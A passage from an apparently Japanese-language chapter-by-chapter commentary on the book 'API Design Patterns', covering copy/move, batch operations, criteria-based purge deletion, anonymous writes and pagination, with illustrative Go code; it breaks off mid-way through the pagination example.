貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ポリモーフィズムの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 5 Collective operationsこのパートでは、複数のリソースを一度に操作する方法について議論されています。コピーと移動、バッチ操作、条件付き削除、匿名書き込み、ページネーション、フィルタリング、インポートとエクスポートなど、大量のデータや複雑な操作を効率的に扱うための手法が紹介されています。これらの操作は、特に大規模なシステムやデータ集約型のアプリケーションにおいて重要です。17 Copy and move「API Design Patterns」の第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の実装方法、その複雑さ、そしてトレードオフについて詳細に論じています。この章を通じて、著者はこれらの操作が一見単純に見えるものの、実際には多くの考慮事項と課題を含む複雑な問題であることを明確に示しています。コピーと移動操作の必要性と概要著者は、理想的な世界ではリソースの階層関係が完璧に設計され、不変であるべきだと指摘しています。しかし現実には、ユーザーの誤りや要件の変更により、リソースの再配置や複製が必要になることがあります。この問題に対処するため、著者はカスタムメソッドを使用したコピーと移動操作の実装を提案しています。これらの操作は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービス間でデータを移動したり、テスト環境から本番環境にリソースをコピーしたりする際に、これらの操作が必要になります。著者は、コピーと移動操作の基本的な構造として以下の要素を提案しています。カスタムメソッドの使用(標準のCRUD操作ではなく)対象リソースの識別子目的地(新しい親リソースまたは新しい識別子)これらの要素を組み合わせることで、APIは柔軟かつ制御可能なコピーと移動操作を提供することができます。実装の詳細と課題著者は、コピーと移動操作の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。識別子の扱い: コピー操作では、新しいリソースの識別子をどのように決定するか(ユーザー指定か、システム生成か)を慎重に検討する必要があります。移動操作では、識別子の変更が許可されるかどうかを考慮する必要があります。子リソースの扱い: 親リソースをコピーまたは移動する際、子リソースをどのように扱うかを決定する必要があります。著者は、一般的に子リソースも一緒にコピーまたは移動すべきだと提案しています。関連リソースの扱い: リソース間の参照関係をどのように維持するかを考慮する必要があります。特に移動操作では、関連リソースの参照を更新する必要があります。外部データの扱い: 大容量のデータ(例:ファイルの内容)をどのように扱うかを決定する必要があります。著者は、コピー操作では「copy-on-write」戦略を推奨しています。継承されたメタデータの扱い: 親リソースから継承されたメタデータ(例:アクセス制御ポリシー)をどのように扱うかを考慮する必要があります。アトミック性の確保: 操作全体のアトミック性をどのように確保するかを検討する必要があります。データベーストランザクションの使用や、ポイントインタイムスナップショットの利用が推奨されています。これらの課題に対処するため、著者は具体的な実装戦略を提案しています。例えば、Golangを用いてコピー操作を実装する場合、以下のようなコードが考えられます。type CopyRequest struct { SourceID string `json:\\"sourceId\\"` DestinationID string `json:\\"destinationId,omitempty\\"`}func (s *Service) CopyResource(ctx context.Context, req CopyRequest) (*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() // ソースリソースの取得 source, err := s.getResourceWithinTx(tx, req.SourceID) if err != nil { return nil, err } // 新しい識別子の生成(または検証) destID := req.DestinationID if destID == \\"\\" { destID = generateNewID() } else if exists, _ := s.resourceExistsWithinTx(tx, destID); exists { return nil, ErrResourceAlreadyExists } // リソースのコピー newResource := copyResource(source, destID) // 子リソースのコピー if err := s.copyChildResourcesWithinTx(tx, source.ID, newResource.ID); err != nil { return nil, err } // 新しいリソースの保存 if err := s.saveResourceWithinTx(tx, newResource); err != nil { return nil, err } // トランザクションのコミット if err := tx.Commit(); err != nil { return nil, err } return newResource, nil}このコードは、データベーストランザクションを使用してコピー操作のアトミック性を確保し、子リソースも含めてコピーを行っています。また、目的地の識別子が指定されていない場合は新しい識別子を生成し、指定されている場合は既存リソースとの衝突をチェックしています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: コピーや移動操作は、大量のデータを扱う可能性があるため、システムのスケーラビリティとパフォーマンスに大きな影響を与えます。特に、大規模なリソース階層を持つシステムでは、これらの操作の効率的な実装が重要になります。データの整合性: コピーや移動操作中にデータの整合性を維持することは、システムの信頼性にとって極めて重要です。特に、分散システムにおいては、これらの操作のアトミック性を確保することが大きな課題となります。APIの進化と後方互換性: コピーや移動操作の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、これらの操作をどのように導入するかを慎重に検討する必要があります。セキュリティとアクセス制御: リソースのコピーや移動は、セキュリティモデルに大きな影響を与える可能性があります。特に、異なるセキュリティコンテキスト間でリソースを移動する場合、適切なアクセス制御の実装が重要になります。運用の複雑さ: コピーや移動操作の導入は、システムの運用複雑性を増大させる可能性があります。これらの操作のモニタリング、トラブルシューティング、そして必要に応じたロールバック手順の確立が重要になります。イベント駆動アーキテクチャとの統合: コピーや移動操作をイベントとして発行することで、システム全体の一貫性を維持しやすくなります。例えば、リソースが移動されたときにイベントを発行し、関連するサービスがそれに反応して必要な更新を行うことができます。結論第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の重要性と、その実装に伴う複雑さを明確に示しています。著者の提案する設計原則は、これらの操作を安全かつ効果的に実装するための重要な指針となります。特に重要な点は以下の通りです。コピーと移動操作は、カスタムメソッドとして実装すべきであり、標準的なCRUD操作では適切に処理できません。これらの操作は、子リソースや関連リソースにも影響を与えるため、その影響範囲を慎重に考慮する必要があります。データの整合性とアトミック性の確保が極めて重要であり、適切なトランザクション管理やスナップショット機能の利用が推奨されます。外部データやメタデータの扱い、特に大容量データの効率的な処理方法を考慮する必要があります。これらの操作の導入は、システムの複雑性を増大させる可能性があるため、その必要性を慎重に評価する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、コピーと移動操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。コピーと移動操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。しかし、同時にこれらの操作は系統的なリスクをもたらす可能性があるため、その導入には慎重な検討が必要です。API設計者とシステム設計者は、これらの操作の利点とリスクを十分に理解し、システムの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。18 Batch operations「API Design Patterns」の第18章「Batch operations」は、APIにおけるバッチ操作の重要性、設計原則、実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバッチ操作が単なる利便性の向上だけでなく、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。バッチ操作の必要性と概要著者は、個々のリソースに対する操作だけでなく、複数のリソースを一度に操作する必要性から議論を始めています。特に、データベースシステムにおけるトランザクションの概念を引き合いに出し、Webベースのシステムにおいても同様の原子性を持つ操作が必要であることを強調しています。バッチ操作の重要性は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のサービス間でデータの一貫性を保ちながら大量のリソースを更新する必要がある場合、個別のAPI呼び出しでは効率が悪く、エラーハンドリングも複雑になります。バッチ操作を適切に設計することで、これらの問題を解決し、システム全体の効率性と信頼性を向上させることができます。著者は、バッチ操作を実現するための主要な方法として、標準メソッド(Get、Create、Update、Delete)に対応するバッチバージョンのカスタムメソッドを提案しています。BatchGetBatchCreateBatchUpdateBatchDeleteこれらのメソッドは、複数のリソースに対する操作を単一のAPI呼び出しで実行することを可能にします。バッチ操作の設計原則著者は、バッチ操作の設計に関していくつかの重要な原則を提示しています。原子性: バッチ操作は全て成功するか、全て失敗するかのいずれかであるべきです。部分的な成功は許容されません。コレクションに対する操作: バッチメソッドは、個々のリソースではなく、リソースのコレクションに対して操作を行うべきです。結果の順序保持: バッチ操作の結果は、リクエストで指定されたリソースの順序を保持して返すべきです。共通フィールドの最適化: リクエスト内で共通のフィールドを持つ場合、それらを「持ち上げ」て重複を避けるべきです。複数の親リソースに対する操作: 必要に応じて、異なる親リソースに属するリソースに対するバッチ操作をサポートすべきです。これらの原則は、バッチ操作の一貫性、効率性、そして使いやすさを確保する上で重要です。特に、原子性の保証は、システムの一貫性を維持し、複雑なエラーハンドリングを回避する上で非常に重要です。実装の詳細著者は、各バッチ操作メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。BatchGet: IDのリストを受け取り、対応するリソースのリストを返します。HTTP GETメソッドを使用し、IDはクエリパラメータとして渡されます。BatchCreate: 作成するリソースのリストを受け取り、作成されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchUpdate: 更新するリソースのリストとフィールドマスクを受け取り、更新されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchDelete: 削除するリソースのIDリストを受け取り、操作の成功を示すvoid型を返します。HTTP POSTメソッドを使用します。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangを用いてバッチ操作を実装する場合、以下のようなインターフェースとメソッドが考えられます。type BatchService interface { BatchGet(ctx context.Context, ids []string) ([]*Resource, error) BatchCreate(ctx context.Context, resources []*Resource) ([]*Resource, error) BatchUpdate(ctx context.Context, updates []*ResourceUpdate) ([]*Resource, error) BatchDelete(ctx context.Context, ids []string) error}type ResourceUpdate struct { ID string UpdateMask []string Resource *Resource}func (s *service) BatchGet(ctx context.Context, ids []string) ([]*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() resources := make([]*Resource, len(ids)) for i, id := range ids { resource, err := s.getResourceWithinTx(tx, id) if err != nil { return nil, err // 1つでも失敗したら全体を失敗とする } resources[i] = resource } if err := tx.Commit(); err != nil { return nil, err } return resources, nil}この実装例では、BatchGetメソッドがトランザクションを使用して原子性を確保し、1つのリソースの取得に失敗した場合は全体を失敗として扱っています。バッチ操作の影響とトレードオフ著者は、バッチ操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: バッチ操作は、ネットワーク呼び出しの回数を減らし、全体的なスループットを向上させる可能性があります。しかし、大規模なバッチ操作は、サーバーリソースに大きな負荷をかける可能性もあります。エラーハンドリングの複雑さ: 原子性を保証することで、エラーハンドリングが簡素化されます。しかし、全て成功するか全て失敗するかの動作は、一部のユースケースでは不便な場合があります。API設計の一貫性: バッチ操作の導入は、API全体の設計に一貫性をもたらす可能性がありますが、同時に新たな複雑さも導入します。システムの復元力: 適切に設計されたバッチ操作は、システムの復元力を向上させる可能性があります。例えば、一時的な障害が発生した場合、バッチ全体をリトライすることで回復が容易になります。モニタリングと可観測性: バッチ操作は、システムの挙動を監視し理解することをより複雑にする可能性があります。個々の操作の詳細が見えにくくなるため、適切なロギングと監視戦略が重要になります。これらの影響とトレードオフを考慮しながら、バッチ操作の導入を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: バッチ操作は、マイクロサービス間のデータ一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるリソースの更新を、単一のトランザクションとして扱うことができます。イベント駆動アーキテクチャとの連携: バッチ操作の結果をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。キャッシュ戦略: バッチ操作は、キャッシュの一貫性維持を複雑にする可能性があります。適切なキャッシュ無効化戦略が必要になります。レート制限とクォータ管理: バッチ操作は、リソース使用量を急激に増加させる可能性があるため、適切なレート制限とクォータ管理が重要になります。非同期処理との統合: 長時間実行されるバッチ操作の場合、非同期処理パターン(例:ポーリング、Webhookなど)と統合することで、クライアントの応答性を向上させることができます。結論第18章「Batch operations」は、APIにおけるバッチ操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。バッチ操作は、複数のリソースに対する操作を効率的に行うための強力なツールです。原子性の保証は、システムの一貫性を維持し、エラーハンドリングを簡素化する上で重要です。バッチ操作の設計には、結果の順序保持、共通フィールドの最適化、複数親リソースのサポートなど、いくつかの重要な原則があります。バッチ操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与えます。バッチ操作の適切な実装には、トランザクション管理、エラーハンドリング、モニタリングなど、複数の側面を考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。しかし、バッチ操作の導入には慎重な検討が必要です。全ての操作をバッチ化することが適切とは限らず、システムの要件や制約に基づいて適切なバランスを取る必要があります。また、バッチ操作の導入に伴う複雑さの増加を管理するために、適切なモニタリング、ロギング、そしてエラーハンドリング戦略を確立することが重要です。最後に、バッチ操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。バッチ操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。特に、大規模なデータ処理や複雑なビジネスロジックを持つシステムにおいて、バッチ操作は極めて重要な役割を果たします。適切に設計されたバッチ操作は、システムの性能を大幅に向上させ、運用コストを削減し、ユーザー体験を向上させる強力なツールとなります。19 Criteria-based deletion「API Design Patterns」の第19章「Criteria-based deletion」は、APIにおける条件に基づく削除操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は条件に基づく削除操作(purge操作)が単なる利便性の向上だけでなく、APIの柔軟性、効率性、そして全体的なシステムの安全性にどのように影響を与えるかを明確に示しています。条件に基づく削除の必要性と概要著者は、バッチ削除操作の限界から議論を始めています。バッチ削除では、削除対象のリソースのIDを事前に知っている必要がありますが、実際の運用では特定の条件に合致するすべてのリソースを削除したい場合が多々あります。例えば、アーカイブされたすべてのチャットルームを削除するような操作です。この問題に対処するため、著者は「purge」と呼ばれる新しいカスタムメソッドを提案しています。purgeメソッドは、フィルタ条件を受け取り、その条件に合致するすべてのリソースを一度に削除します。これにより、複数のAPI呼び出し(リソースの一覧取得と削除の組み合わせ)を1回のAPI呼び出しに置き換えることができ、効率性と一貫性が向上します。しかし、著者はこの操作の危険性も明確に指摘しています。purge操作は、ユーザーが意図せずに大量のデータを削除してしまう可能性があるため、慎重に設計し、適切な安全機構を組み込む必要があります。purge操作の設計と実装著者は、purge操作の安全な実装のために以下の重要な要素を提案しています。forceフラグ: デフォルトでは削除を実行せず、プレビューモードとして動作します。実際に削除を行うには、明示的にforceフラグをtrueに設定する必要があります。purgeCount: 削除対象となるリソースの数を返します。プレビューモードでは概算値を返すこともあります。purgeSample: 削除対象となるリソースのサンプルセットを返します。これにより、ユーザーは削除対象が意図したものであるかを確認できます。これらの要素を組み合わせることで、APIは柔軟かつ安全な条件付き削除機能を提供することができます。著者は、purge操作の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルタリング: purge操作のフィルタは、標準的なリスト操作のフィルタと同じように動作すべきです。これにより、APIの一貫性が保たれます。デフォルトの動作: 安全性を確保するため、デフォルトではプレビューモードとして動作し、実際の削除は行いません。結果の一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性は保証できません。この制限をユーザーに明確に伝える必要があります。これらの原則を適用した、Golangでのpurge操作の実装例を以下に示します。type PurgeRequest struct { Parent string `json:\\"parent\\"` Filter string `json:\\"filter\\"` Force bool `json:\\"force\\"`}type PurgeResponse struct { PurgeCount int `json:\\"purgeCount\\"` PurgeSample []string `json:\\"purgeSample,omitempty\\"`}func (s *Service) PurgeMessages(ctx context.Context, req *PurgeRequest) (*PurgeResponse, error) { // フィルタの検証 if req.Filter == \\"\\" { return nil, errors.New(\\"filter is required\\") } // マッチするリソースの取得 matchingResources, err := s.getMatchingResources(ctx, req.Parent, req.Filter) if err != nil { return nil, err } response := &PurgeResponse{ PurgeCount: len(matchingResources), PurgeSample: getSample(matchingResources, 100), } // 実際の削除操作 if req.Force { if err := s.deleteResources(ctx, matchingResources); err != nil { return nil, err } } return response, nil}この実装例では、forceフラグがfalseの場合はプレビューのみを行い、trueの場合に実際の削除を実行します。また、削除対象のサンプルを返すことで、ユーザーが意図した操作であるかを確認できるようにしています。purge操作の影響とトレードオフ著者は、purge操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスと効率性: purge操作は、複数のAPI呼び出しを1回の呼び出しに置き換えることで、全体的な効率を向上させます。しかし、大量のデータを一度に処理する必要があるため、サーバーリソースに大きな負荷をかける可能性があります。安全性とユーザビリティのバランス: デフォルトでプレビューモードとして動作することで安全性を確保していますが、これは同時にユーザーが2回のAPI呼び出しを行う必要があることを意味します。このトレードオフを適切に管理する必要があります。データの一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性を保証することは困難です。この制限をユーザーに明確に伝え、適切に管理する必要があります。エラー処理の複雑さ: 大量のリソースを一度に削除する際、一部のリソースの削除に失敗した場合の処理が複雑になる可能性があります。部分的な成功をどのように扱うかを慎重に設計する必要があります。監視と可観測性: purge操作は、システムの状態を大きく変更する可能性があるため、適切な監視と監査メカニズムが不可欠です。どのような条件で、どれだけのリソースが削除されたかを追跡できるようにする必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: purge操作は、複数のマイクロサービスにまたがるデータの一貫性を維持する上で重要な役割を果たす可能性があります。例えば、ユーザーデータの削除(GDPR対応など)や、大規模なデータクリーンアップ操作に利用できます。イベント駆動アーキテクチャとの連携: purge操作の結果をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。バックグラウンドジョブとしての実装: 大規模なpurge操作は、非同期のバックグラウンドジョブとして実装することを検討すべきです。これにより、クライアントのタイムアウトを回避し、システムの応答性を維持することができます。段階的な削除戦略: 大量のデータを一度に削除するのではなく、段階的に削除を行う戦略を検討すべきです。これにより、システムへの影響を最小限に抑えつつ、大規模な削除操作を安全に実行することができます。監査とコンプライアンス: purge操作は、監査とコンプライアンスの観点から重要です。どのデータがいつ、誰によって、どのような条件で削除されたかを追跡できるようにする必要があります。結論第19章「Criteria-based deletion」は、条件に基づく削除操作(purge操作)の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性と効率性を向上させる一方で、システムの安全性と整合性を維持することを目指しています。特に重要な点は以下の通りです。purge操作は、条件に基づいて複数のリソースを一度に削除する強力なツールですが、慎重に設計し、適切な安全機構を組み込む必要があります。デフォルトでプレビューモードとして動作し、実際の削除には明示的な承認(forceフラグ)を要求することで、意図しない大規模削除を防ぐことができます。削除対象のリソース数とサンプルを提供することで、ユーザーが操作の影響を事前に評価できるようにすることが重要です。データの一貫性の保証が難しいため、この制限をユーザーに明確に伝える必要があります。purge操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与える可能性があるため、慎重に検討する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、かつ安全なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なデータ管理戦略の一部として直接的に適用可能です。しかし、purge操作の導入には慎重な検討が必要です。その強力な機能ゆえに、システムの安全性とデータの整合性に大きなリスクをもたらす可能性があります。したがって、purge操作は本当に必要な場合にのみ導入し、適切な制限と監視メカニズムを併せて実装することが重要です。最後に、purge操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体のデータ管理戦略、セキュリティポリシー、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。purge操作の適切な実装は、システムのデータ管理能力を大幅に向上させ、運用効率を高める可能性があります。しかし、同時にそれは大きな責任を伴います。API設計者とシステム設計者は、これらの操作の影響を深く理解し、適切なサフェガードを実装することで、より堅牢で効率的、かつ安全なシステムを構築することができるでしょう。特に、大規模なデータ管理や複雑なビジネスロジックを持つシステムにおいて、purge操作は極めて重要な役割を果たす可能性がありますが、その導入には慎重な検討と綿密な計画が不可欠です。20 Anonymous writes「API Design Patterns」の第20章「Anonymous writes」は、APIにおける匿名データの書き込みの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は従来のリソース指向のAPIデザインでは対応が難しい匿名データの取り扱いについて、新しいアプローチを提案し、それがシステム全体のアーキテクチャと運用にどのように影響を与えるかを明確に示しています。匿名データの必要性と概要著者は、これまでのAPIデザインパターンでは全てのデータをリソースとして扱ってきたことを指摘し、この approach が全てのシナリオに適しているわけではないという問題提起から議論を始めています。特に、時系列データやログエントリのような、個別に識別や操作する必要のないデータの取り扱いについて、新しいアプローチの必要性を強調しています。この問題は、特に大規模なデータ分析システムやクラウドネイティブな環境において顕著です。例えば、IoTデバイスから大量のセンサーデータを収集する場合や、マイクロサービス間のイベントログを記録する場合など、個々のデータポイントよりも集計結果や傾向分析が重要となるシナリオが多々あります。著者は、このような匿名データを扱うための新しいカスタムメソッド「write」を提案しています。このメソッドの主な特徴は以下の通りです。データは一意の識別子を持たず、個別にアドレス指定できない。書き込まれたデータは、主に集計や分析の目的で使用される。個々のデータエントリの取得、更新、削除は想定されていない。この概念は、現代のビッグデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高く、特にクラウドネイティブな環境での応用が期待されます。write メソッドの実装著者は、write メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。戻り値: write メソッドは void を返すべきです。これは、個々のデータエントリが識別可能でないため、新しく作成されたリソースを返す必要がないためです。ペイロード: データは entry フィールドを通じて送信されます。これは標準の create メソッドの resource フィールドに相当します。URL構造: コレクションをターゲットとするべきです。例えば、/chatRooms/1/statEntries:write のような形式です。一貫性: write メソッドは即座に応答を返すべきですが、データが即座に読み取り可能である必要はありません。これは、大規模なデータ処理パイプラインの特性を反映しています。これらの原則を適用した、Golangでのwrite メソッドの実装例を以下に示します。type ChatRoomStatEntry struct { Name string `json:\\"name\\"` Value interface{} `json:\\"value\\"`}type WriteChatRoomStatEntryRequest struct { Parent string `json:\\"parent\\"` Entry ChatRoomStatEntry `json:\\"entry\\"`}func (s *Service) WriteChatRoomStatEntry(ctx context.Context, req *WriteChatRoomStatEntryRequest) error { // データの検証 if err := validateEntry(req.Entry); err != nil { return err } // データ処理パイプラインへの送信 if err := s.dataPipeline.Send(ctx, req.Parent, req.Entry); err != nil { return err } // 即座に成功を返す return nil}この実装例では、データの検証を行った後、非同期のデータ処理パイプラインにデータを送信しています。メソッドは即座に応答を返し、クライアントはデータが処理されるのを待つ必要がありません。一貫性と運用上の考慮事項著者は、write メソッドの一貫性モデルについて重要な指摘をしています。従来のリソース指向のAPIでは、データの書き込み後即座にそのデータが読み取り可能であることが期待されますが、write メソッドではこの即時一貫性は保証されません。これは、大規模なデータ処理システムの現実的な運用を反映しています。例えば、時系列データベースやビッグデータ処理システムでは、データの取り込みと処理に時間差があるのが一般的です。著者は、この非同期性を明示的に設計に組み込むことで、より効率的で拡張性の高いシステムが構築できると主張しています。運用の観点から見ると、この設計には以下のような利点があります。スケーラビリティの向上: データの取り込みと処理を分離することで、それぞれを独立してスケールさせることができます。システムの回復力: データ処理パイプラインに一時的な問題が発生しても、データの取り込み自体は継続できます。バッファリングと負荷平準化: 取り込んだデータをバッファリングすることで、下流のシステムへの負荷を平準化できます。運用の柔軟性: データ処理ロジックを変更する際に、APIインターフェースを変更せずに済みます。著者は、クライアントにデータの処理状況を伝えるために、HTTP 202 Accepted ステータスコードの使用を推奨しています。これは、データが受け入れられたが、まだ完全に処理されていないことを示す適切な方法です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。イベント駆動アーキテクチャとの親和性: write メソッドは、イベントソーシングやCQRSパターンと非常に相性が良いです。例えば、マイクロサービス間の非同期通信や、イベントストリームの生成に活用できます。観測可能性の向上: 匿名データの書き込みを明示的に設計に組み込むことで、システムの振る舞いをより詳細に観測できるようになります。例えば、各サービスの内部状態の変化を時系列データとして記録し、後で分析することが容易になります。コンプライアンスと監査: 匿名データの書き込みを標準化することで、システム全体の動作ログを一貫した方法で収集できます。これは、コンプライアンス要件の遵守や、システムの監査に役立ちます。パフォーマンスチューニング: 集計データの収集を最適化することで、システム全体のパフォーマンスプロファイルを詳細に把握し、ボトルネックの特定や最適化が容易になります。A/Bテストとフィーチャーフラグ: 匿名データを活用することで、新機能の段階的なロールアウトや、A/Bテストの結果収集を効率的に行うことができます。結論第20章「Anonymous writes」は、APIにおける匿名データの取り扱いの重要性と、その適切な実装方法を明確に示しています。著者の提案するwrite メソッドは、従来のリソース指向のAPIデザインを補完し、より柔軟で拡張性の高いシステム設計を可能にします。特に重要な点は以下の通りです。全てのデータをリソースとして扱う必要はなく、匿名データの概念を導入することで、より効率的なデータ処理が可能になります。write メソッドは、即時一貫性を犠牲にする代わりに、高いスケーラビリティと柔軟性を提供します。匿名データの取り扱いは、大規模なデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高いです。システムの観測可能性、コンプライアンス、パフォーマンスチューニングなど、運用面でも多くの利点があります。write メソッドの導入には、システム全体のアーキテクチャと処理パイプラインの設計を考慮する必要があります。これらの原則を適切に適用することで、開発者はより柔軟で拡張性の高いAPIを設計することができます。特に、大規模なデータ処理や複雑なイベント駆動システムを扱う場合、この設計パターンは非常に有用です。しかし、write メソッドの導入には慎重な検討も必要です。即時一貫性が重要なユースケースでは、従来のリソース指向のアプローチが適している場合もあります。また、匿名データの取り扱いは、データの追跡やデバッグを複雑にする可能性があるため、適切なモニタリングとログ記録の戦略が不可欠です。最後に、匿名データの取り扱いはシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。write メソッドの導入は、単にAPIの機能を拡張するだけでなく、システム全体のデータフロー、処理パイプライン、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で複雑なシステムの設計において非常に重要です。匿名データの適切な取り扱いは、システムの拡張性、柔軟性、そして運用効率を大きく向上させる可能性があります。API設計者とシステム設計者は、これらの概念を深く理解し、適切に応用することで、より堅牢で効率的なシステムを構築することができるでしょう。21 Pagination「API Design Patterns」の第21章「Pagination」は、APIにおけるページネーションの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はページネーションが単なる機能の追加ではなく、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティにどのように影響を与えるかを明確に示しています。ページネーションの必要性と概要著者は、大規模なデータセットを扱う際のページネーションの必要性から議論を始めています。特に、1億件のデータを一度に返そうとすることの問題点を指摘し、ページネーションがこの問題にどのように対処するかを説明しています。ページネーションは、大量のデータを管理可能な「チャンク」に分割し、クライアントが必要に応じてデータを取得できるようにする方法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。ページネーションは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、ページネーションの基本的な構造として以下の要素を提案しています。pageToken: 次のページを取得するためのトークンmaxPageSize: クライアントが要求する最大ページサイズnextPageToken: サーバーが返す次のページのトークンこれらの要素を組み合わせることで、APIは大規模なデータセットを効率的に管理し、クライアントに段階的に提供することができます。ページネーションの実装著者は、ページネーションの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。最大ページサイズ vs 正確なページサイズ: 著者は、正確なページサイズではなく最大ページサイズを使用することを推奨しています。これにより、サーバーは要求されたサイズよりも小さいページを返すことができ、パフォーマンスと効率性が向上します。ページトークンの不透明性: ページトークンは、クライアントにとって意味を持たない不透明な文字列であるべきです。これにより、サーバー側で実装の詳細を変更する柔軟性が確保されます。一貫性の確保: ページネーション中にデータが変更される可能性があるため、完全な一貫性を保証することは難しい場合があります。著者は、この制限を明確に文書化することを推奨しています。ページトークンの有効期限: ページトークンに有効期限を設定することで、リソースの効率的な管理が可能になります。これらの原則を適用した、Golangでのページネーションの実装例を以下に示します。type ListResourcesRequest struct { PageToken string `json:\\"pageToken\\"` MaxPageSize int `json:\\"maxPageSize\\"`}type ListResourcesResponse struct { Resources []*Resource `json:\\"resources\\"` NextPageToken string `json:\\"nextPageToken\\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { // ページトークンのデコードと検証 offset, err := decodePageToken(req.PageToken) if err != nil { return nil, err } // リソースの取得 limit := min(req.MaxPageSize, 100) // 最大100件に制限 resources, err := s.repository.GetResources(ctx, offset, limit+1) if err != nil { return nil, err } // 次のページトークンの生成 var nextPageToken string if len(resources) > limit { nextPageToken = encodePageToken(offset + limit) resources = resources[:limit] } return &ListResourcesResponse{ Resources: resources, NextPageToken: nextPageToken, }, 